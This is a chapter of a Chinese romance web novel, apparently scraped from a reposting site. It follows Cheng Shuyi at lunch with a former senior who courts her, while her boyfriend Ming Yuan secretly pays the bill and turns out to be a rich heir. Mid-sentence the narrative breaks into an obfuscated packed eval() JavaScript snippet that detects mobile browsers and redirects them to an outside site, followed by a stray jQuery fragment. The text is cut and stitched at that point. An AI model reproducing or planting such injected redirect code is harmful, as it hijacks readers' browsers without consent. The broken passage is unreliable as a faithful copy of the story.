23. 第 23 章

作品:《绿茶死对头变成乌鸦之后

    此人绝非扇贝:[ddd]


    浣熊大王:[怎么啦远哥]


    此人绝非扇贝:[由于我不便现身公司,赐予你一个艰巨的任务。]


    浣熊大王:[??]


    此人绝非扇贝:[陪程述一吃饭。]


    浣熊有些莫名其妙的看着和明远的对话框,还是犹豫的打字:[你不知道吗远哥,今天部门来的新员工是姐的老熟人,他们中午出去吃饭了。]


    此人绝非扇贝:[!]


    眼下窗明几净,餐桌上铺着棕色金丝绒桌布,小提琴手在一旁沉醉的伴奏着。


    眼前的男人西装革履,他戴了一副金丝眼镜,此时不经意间抬手推了一下鼻梁上的眼镜,和田玉手串反射出温润的刚光。


    侍应生一手托盘,另一手背在身后,他将菜品放到餐桌上,缓缓对二人鞠了一躬:“二位请慢用。”


    这男人很有涵养,他将程述一盘子里的牛排接过来,为她切好。


    程述一微微一笑:“多谢师兄,我自己来就好。”


    “别叫我师兄了,我们现在也算是同事关系,”檀云生对她笑笑,神情十分温和,“要不是在直播里看到你,我都不知道你回国了。”


    他把盘子推过去,并不着急吃东西:“述一,我们真是好久不见。”


    檀云生是程述一研究生时期的学长,程述一对他了解并不多,只知道他家境很好,在国外几年为了方便住宿,直接在学校附近买了一套房。


    那时候程述一忙着赚钱,并不多和他打交道,不过檀云生搬新家的时候,确实也邀请了程述一。


    那时候,檀云生是有未婚妻的。


    程述一目光扫到檀云生的手,那枚订婚戒指已经消失不见。


    檀云生注意到程述一的目光,他坦然的张开手指对她解释:“我解除婚约了,现在是单身。”


    程述一点头,她打量着檀云生的脸,有些斟酌的开口:“听到这消息我很抱歉。”


    “没有,我家破产了,”他的神色很坦然,“本来我们也没有什么感情,商业联姻而已。”


    程述一沉默,有点不知道怎么接话,但檀云生今天这样一副架势,她心里有些预感:“虽然说出来很欠揍,我最近倒是脱单了。”


    果然,檀云生一愣,他笑起来,似乎是看见什么好笑的事情。


    笑了一会儿,他才摆摆手,和程述一道歉:“没有别的意思,你总是这么聪明,我还没开口你就要拒绝我。”


    程述一看他的神情,似乎是并不相信这个事实。


    她本来想再解释几句,但又觉得没有必要。


    她用叉子卷意面,手机叮叮叮的响了起来,是明远。


    程述一心想这不是巧了吗,于是并没有避讳檀云生,径自接起来。


    “宝宝,你怎么能背着我偷偷和别人一起吃饭,”明远的声音隔着听筒传过来,十分清晰,“我真的要闹了!”


    程述一笑起来,她于是逗明远:“哎呀,真是不好意思,忘记和你报备了。”


    明远似乎就只是为了宣誓主权,说了两句便很痛快地挂了电话。


    只是程述一并不知道,那个刚才还在电话里装乖撒娇的人,此时正站在餐厅二楼的vip包厢里。


    单面玻璃清楚的映射出楼下的场景,明远面色沉沉的盯着檀云生看了一会儿。


    他几乎是挑剔的打量着这个男人,从衣着打扮到神情仪态。


    “小明总,要不要吃点东西?”大堂经理微微鞠躬,对着他一脸谄媚,“主厨最近研发了新的甜品,是您的口味。”


    明远正侦察敌情呢,并不想搭理讨好他的大堂经理,于是伸手推拒快要经理捧在手里的菜单。


    余光瞄了一眼,他却突然一反常态:“等等,拿过来我看看。”


    他接过足足有a3纸那么大的菜谱,就一道小甜品而已,可阵仗却很大,除了中意双语的菜品介绍,整页纸精心的穿插着甜品的各个角度写真。


    明远低下头看了看:“嗯……她应该喜欢吃。”


    他把菜谱还给经理,指挥道:“给楼下上这道菜,记住,只给女生就行,就说中奖了。”


    说完,他又继续趴在玻璃上,气势汹汹地盯着对面的这个男人。


    男人似乎十分健谈,即使是程述一完全就是一副不想搭理他的模样,他还要一只叽里呱啦说个没完,真是有够没眼力见的。


    “所以你现在就是确定在国内发展了吗?”檀云生吞下一口牛排,一边慢条斯理地擦嘴巴,一边问程述一。


    程述一点头:“是的,不过师兄怎么会跳槽到我们公司,你之前的公司怎么看都要比这个更好吧。”


    檀云生推了一下眼睛,神情有些无奈:“当然是为了你啊。知道你的消息后,找很多人都没能要来联系方式,正巧有猎头来找我,我就过来了。”


    “你别激动,我只是想告诉你。”檀云生笑眯眯的,“感情的事又怎么说的准呢,如果你分手了,记得联系我。”


    他其实一直很欣赏程述一,一个女人能够如此的美丽和聪明,像一匹凶猛矫健的狼。


    研究生报到第一天,程述一的到来就让他眼前一亮。


    一个如此完美的女人,只是有点太穷。


    檀云生家里做风投生意,从小被当作接班人培养,他一直很有野心。


    对他来说,婚姻并不是通往爱情的终点,而是让公司往上爬的一个台阶。


    她的未婚妻很好,虽然不是那么美,但她听话,而且家境好,他们的这场商业联姻自然对檀云生有益无害。


    檀云生二十几年的教养也不允许他做出任何破坏婚姻的事情。


    但是天有不测风云,顷刻间,父母辛苦打拼的心血顷刻间便化为乌有。


    未婚妻噙着泪的双眼和未来丈人的叹息将他们的婚姻推向终结。


    檀云生并不因此消沉,他是一个极其坚强又极其优秀的人,就算失去了自己的公司,他仍然很快的找到一份工作,在职场上混的风生水起。


    因为他知道,他总会东山再起,这只是时间问题。


    直到在网络上偶然刷到程述一的消息,这时的程述一黑料满天飞,她的词条被顶上了热搜榜。


    檀云生看着手里的的直播截图,多年未见,这个女人仍然是那么美丽。


    她现在像个小苦瓜一样被人欺负,应该需要有人安慰吧。


    檀云生原本觉得,自己的另一半可以不那么漂亮,但是必须有托举他的能力。


    但他决定为程述一破例一次。


    他想,就算两人最终走不到一起,他给程述一的关怀和陪伴也会温暖她一辈子。


    他摇晃着红酒杯,眼镜里的反光遮住了他傲慢的审视:“说句没礼貌的话,我自认为我们两个还是蛮合适的,我们……”


    “您好女士,这是送给您的甜品,”侍应生微笑着将托盘放在程述一身边,他俯下身跟程述一解释,“您是我们餐厅第五百二十位用餐的顾客,希望您能喜欢。”


    檀云生立即面色不虞,似乎因为被人打断而恼怒,但随后,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948208|192312||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    侍应生又站起身对他恭恭敬敬鞠了一躬:“您好先生,本次的餐费已经由程小姐结清,现已将您的预定费用退回原账户,请查收。”


    程述一愣了一瞬,立刻反映过来:“师兄来我们公司,我也算是东道主,应该尽一下地主之谊的。我去趟卫生间。”


    看着程述一离去的背影,这下换檀云生震惊了。


    程述一来这个餐厅吃过饭吗?


    可据他所知,这家餐厅可是有着极为苛刻的门槛,需要一年交满六位数以上的会费才能被允许进入,因为有着良好的私密性,很多业界大佬也喜欢在这里谈事情。


    难道程述一她……


    “他人呢?”程述一走过去拍了一下侍应生的肩膀,看他还要装傻,“明远呢?”


    侍应生只是一个兼职的可怜大学生罢了,还没学会怎么撒谎,于是只好丢盔弃甲,小心翼翼地把程述一引到二楼包间。


    推开门,一个男人背对着她蹲在沙发旁边,不知道在鼓捣什么东西。


    他宽肩窄腰,这个动作把身上的薄外套绷得紧紧的,隆起的肌肉都隐约可见。


    程述一一眼就看出这是明远,她也不出声只是走过去坐到旁边的沙发上。


    明远还是不搭理她,手里拿着一捆绿油油的叶子,程述一这才看清楚,这是把柚子叶。


    明远把手中的柚子叶捆好,转身对准程述一,开始对她的全身施法。


    他控制自己的力道,柚子叶轻轻碰到程述一,发出沙沙的声响。


    程述一哭笑不得,不知道明远又在搞什么鬼,她抬手去抓明远的胳膊:“你干什么呢明远,神神叨叨的。”


    “帮你驱除晦气,”明远脸拉的老长,浑身上下的每一颗细胞都在诉说自己的不满,“怎么平白无故招惹这么多烂桃花,帮你赶走他们。”


    “好啦,”程述一发现只要和明远在一起,她的笑点就忍不住变低,“你为什么要付钱,花了不少吧?”


    明远被他抓住双手,顺势倒进程述一的怀里,把她压倒在沙发上:“是!等下吃不完你记得打包,我们回家吃。”


    他像一只粘人的大狗,脑袋搁在程述一的肩头,惨兮兮的哼哼。


    程述一才不上他的当,乱摸了几把明远的头发:“这个餐厅是你妈妈开的吧。”


    怀里的人一下僵住,程述一并不打算住嘴,继续说道:“所以说,你的妈妈是周陆,你爸是明维深,你是长安资本的太子爷,是不是?”


    明远屏住呼吸,简直紧张的不得了,他从程述一身上起来,忍不住咬住下嘴唇:“你怎么又这么聪明,我不是想故意瞒你的,只不过我这个二世祖的名号太响亮,我怕你误会我……”


    明远解释几句,干脆破罐子破摔:“而且我过一段时间就能掌权了,我想到时候直接给你一个惊喜呢。”


    明远掏出手机点进去,递给程述一。


    是一份信托合同草案。


    委托人明远,受益人程述一。


    “不分手……你怎么知道的呢?你怎么这么厉害呢?”明远坐下来握紧程述一的手,脑袋失智一般开始胡言乱语,企图通过夸奖程述一转移她的注意力:“小生真是佩服佩服。”


    程述一锤他一拳,不让他再说话。


    “因为你和妈妈长得很像。”程述一没说拒绝的话,也没有肯定,只是歪着头躺进明远的怀里,给他看手机里的照片。


    明远放下心来,忍不住闷笑两声,他最擅长顺竿爬,于是也低下头贴近程述一的脸:“我看看,确实挺像的……”